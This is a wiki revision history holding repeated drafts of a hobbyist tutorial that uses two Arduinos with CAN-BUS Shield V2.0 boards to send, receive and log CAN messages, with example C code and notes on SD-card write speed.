SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somewhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take from 15ms up to 50ms for opening. The lab was setup with a sending interval of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work. When slowing down the speed to 500ms a CAN.LOG file is genereated and populated as programmed.

[[File:Can_log_file.JPG|750px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0:Summary]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T08:19:59Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somewhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take from 15ms up to 50ms for opening. The lab was setup with a sending interval of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work. When slowing down the speed to 500ms a CAN.LOG file is genereated and populated as programmed.

[[File:Can_log_file.JPG|750px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0|Summary]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-24T08:03:06Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T21:20:28Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somewhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take from 15ms up to 50ms for opening. The lab was setup with a sending interval of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work. When slowing down the speed to 500ms a CAN.LOG file is genereated and populated as programmed.

[[File:Can_log_file.JPG|750px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

File:Can log file.JPG

2021-02-23T21:20:00Z

NStrasser:

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T21:19:43Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

unsigned char stmp[8] = {0, 0, 0, 0, 0, 0, 0, 0};
void loop() {
// send data: id = 0x00, standrad frame, data len = 8, stmp: data buf
stmp[7] = stmp[7] + 1;
if (stmp[7] == 100) {
stmp[7] = 0;
stmp[6] = stmp[6] + 1;

if (stmp[6] == 100) {
stmp[6] = 0;
stmp[5] = stmp[6] + 1;
}
}

CAN.sendMsgBuf(0x00, 0, 8, stmp);
delay(100); // send data per 100ms
SERIAL.println("CAN BUS sendMsgBuf ok!");
}
</syntaxhighlight>

Next we need the code for the receiving node.
<syntaxhighlight lang="c">
#include <SPI.h>

#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515

#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2515_can CAN(SPI_CS_PIN); // Set CS pin
#endif // Set CS pin

void setup() {
SERIAL.begin(115200);
while(!Serial){};

#ifdef CAN_2518FD
while (0 != CAN.begin((byte)CAN_500K_1M)) { // init can bus : baudrate = 500k
#else
while (CAN_OK != CAN.begin(CAN_500KBPS)) { // init can bus : baudrate = 500k
#endif
SERIAL.println("CAN BUS Shield init fail");
SERIAL.println(" Init CAN BUS Shield again");
delay(100);
}
SERIAL.println("CAN BUS Shield init ok!");
}

void loop() {
unsigned char len = 0;
unsigned char buf[8];

if (CAN_MSGAVAIL == CAN.checkReceive()) { // check if data coming
CAN.readMsgBuf(&len, buf); // read data, len: data length, buf: data buf

unsigned long canId = CAN.getCanId();

SERIAL.println("-----------------------------");
SERIAL.print("Get data from ID: 0x");
SERIAL.println(canId, HEX);

for (int i = 0; i < len; i++) { // print the data
SERIAL.print(buf[i], HEX);
SERIAL.print("\t");
}
SERIAL.println();
}
}
</syntaxhighlight>

==== Step 4 ====
When both Arduinos are flashed correctly the will start blinking. The sending nodes TX and RX LEDs will blink as CAN transceivers listen and write to the bus simultaneously. On the receiving node the RX and the INT LEDs will start to blink. Everytime a CAN message is received an interrupt is triggered to run the specified function which in this case is printing the raw data to SERIAL:

[[File:Nodes_talking.gif]]

[[File:Nodes_talking_console.JPG|1000 px]]

=== Taking it further ===

Next we aim to build a CAN message reader for a real car. Therefore we somehow need to save the captured packets somewhere. The CAN-BUS Shield V2.0 comes with a built in memory card slot. We will utilize it and save captured data onto it. In order to do that we need to include the SD.h header file.

<syntaxhighlight lang="c">
#include <SD.h>
</syntaxhighlight>

In the setup function we need to activate SD module.
<syntaxhighlight lang="c">
if (!SD.begin(4))
{
SERIAL.println("SD Card init failed. Check PIN");
}
</syntaxhighlight>

After this has happend we can start opening a file and writing to it.
<syntaxhighlight lang="c">

File dataFile = SD.open("can.log", FILE_WRITE);
if (dataFile)
{
dataFile.println("-----------------------------");
dataFile.print("Get data from ID: 0x");
dataFile.println(canId, HEX);
for (int i = 0; i < len; i++)
{ // print the data
dataFile.print(buf[i], HEX);
dataFile.print("\t");
}
dataFile.println();
dataFile.close();
}
else
{
Serial.println("error opening datalog.txt");
}
</syntaxhighlight>

Unfortunately I ran into troubles with the writing speeds. CAN is sending data way much faster than it can be written to a file so the Arduino starts to stuck and cannot open the file anymore. A file on a SD card can take from 15ms up to 50ms for opening. The lab was setup with a sending interval of 100ms. In a real world card the freuquency would be much higher so logging on the SD card won't work. When slowing down the speed to 500ms a CAN.LOG file is genereated and populated as programmed.

[[File:Can_log_file.JPG|500px]]

=== Used Hardware ===

2 x [[Arduino Board Uno Rev3 DIP Version, ATmega328, USB]]

2 x [[CAN-BUS Shield V2.0]]

2 x Jumper wires

2 x USB 2.0 B to USB 2.0 A cables

== References ==

* https://wikipedia.org
* https://google.com
* https://ww1.microchip.com/downloads/en/DeviceDoc/MCP2515-Stand-Alone-CAN-Controller-with-SPI-20001801J.pdf
* https://www.bosch.com/de/stories/das-controller-area-network/
* https://wiki.seeedstudio.com/CAN-BUS_Shield_V2.0/

[[Category:Documentation]]

Creating CAN-BUS Shield V2.0 Tutorial

2021-02-23T21:14:42Z

NStrasser:

(DRAFT)

== Summary ==

This documentation introduces the CAN-BUS Shield V2.0 and all its key facts. It also contains an example implementation, which is able to read and write CAN messages. In another step a real car communication is captured and presented.

== Hardware details ==

The CAN-BUS Shield V2.0 is an add-on shield which can be used with an Arduino Board. It comes with the MCP2515 CAN Bus Controller and the MCP2551 CAN transceiver. When used with an appropriate OBD 2.0 cable and library it can function as a diagnostic tool for a car.

[[File:InkedCAN-BUS_Shield_V2.0_desc_LI.jpg|500 px]]

# Terminal: CAN-H, CAN-L
# Led Indicator: PWR=power;TX=blink when the data is sending;RX=blink when there's data receiving;INT=data interrupt
# V_OBD: Indicates if the power comes from OBD
# DB9 Interface: to connect to OBD 2.0 via DB9-OBDII-cable
# Arduino Pinouts
# I2C Connector
# Serial Connector
# ICSP Pins

CAN is the abbrevation for Controller Area Network and is a common and reliable bus system. It is used in almost every car built after 1994. CAN was founded by BOSCH primarily to shrink cable harness within cars. This bus is robust because of its differential signal transmission which basically means that the difference between CAN-H and CAN-L signal is used to determine which bit was transfered. CAN uses a broadcast to transfer messages. Each message contains an identifier with which the priority is negotiated. In a real world example the CAN Bus is terminated on each end with a 120k Ohm resistor. Because this is a lab setup and the distance of the CAN Bus is minimal it is not neccessary to terminate the bus with 120k Ohm resistors.

In order to complete the following steps, you should be familiar with the Arduino UNO and the Arduino IDE.

== Hands on lab ==

=== Description ===

In order to create a functioning CAN message reader we need to set up a lab, which consits of two CAN-BUS Shield V2.0 and two Arduino UNOs. The Arduinos will be used to simulate two ECUs, where one of them sends the data and the other is receives it. After this works as planned we will take a step further and integrate the CANtact Bundle cable. This will enable is to take the CAN-Node (Arduino and CAN-Shield) and plug it into the cars OBD 2.0 port in order to see what is going on on the car CAN-BUS.
[[File:CAN-BUS_Shield_V2.0.jpg|thumb|CAN-BUS Shield V2.0]]
[[File:Arduino_Uno.jpg|thumb|Arduino UNO]]
[[File:CANtext_Bundle.jpg|thumb|CANtact Bundle]]

----

==== Step 1 ====

Pigiback the CAN shields onto the Arduinos and connect both terminals. Bare in mind connecting CAN-H on the first board with CAN-H on the second board and CAN-L on the first board with CAN-L on the second board. This would look something like this:

[[File:Arduino_ECUs_connected.jpg|500 px]]

==== Step 2 ====
Download and install the Arduino IDE. Afterwards we need to install the CAN-Shield library which can be found here https://github.com/Seeed-Studio/Seeed_Arduino_CAN. Download this repository as zip file and import it to the Arduino IDE:
[[File:Add_lib.JPG|750px]]

==== Step 3 ====
Next we are going to need a sending node, which will send CAN messages at periodic intervalls and we will need an receiving node, which listens on the CAN Bus and creates an interrupt everytime a package is received.

The following code is based on the send example from the library and needs to be flashed on the first node.
<syntaxhighlight lang="c">
#include <SPI.h>
#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE
#define SERIAL SerialUSB
#else
#define SERIAL Serial
#endif

#define CAN_2515
#ifdef CAN_2518FD
#include "mcp2518fd_can.h"
const int SPI_CS_PIN = 9;
const int CAN_INT_PIN = 2;
mcp2518fd CAN(SPI_CS_PIN); // Set CS pin
#endif

#ifdef CAN_2515
#include "mcp2515_can.h"
const int SPI_CS_PIN = 9;
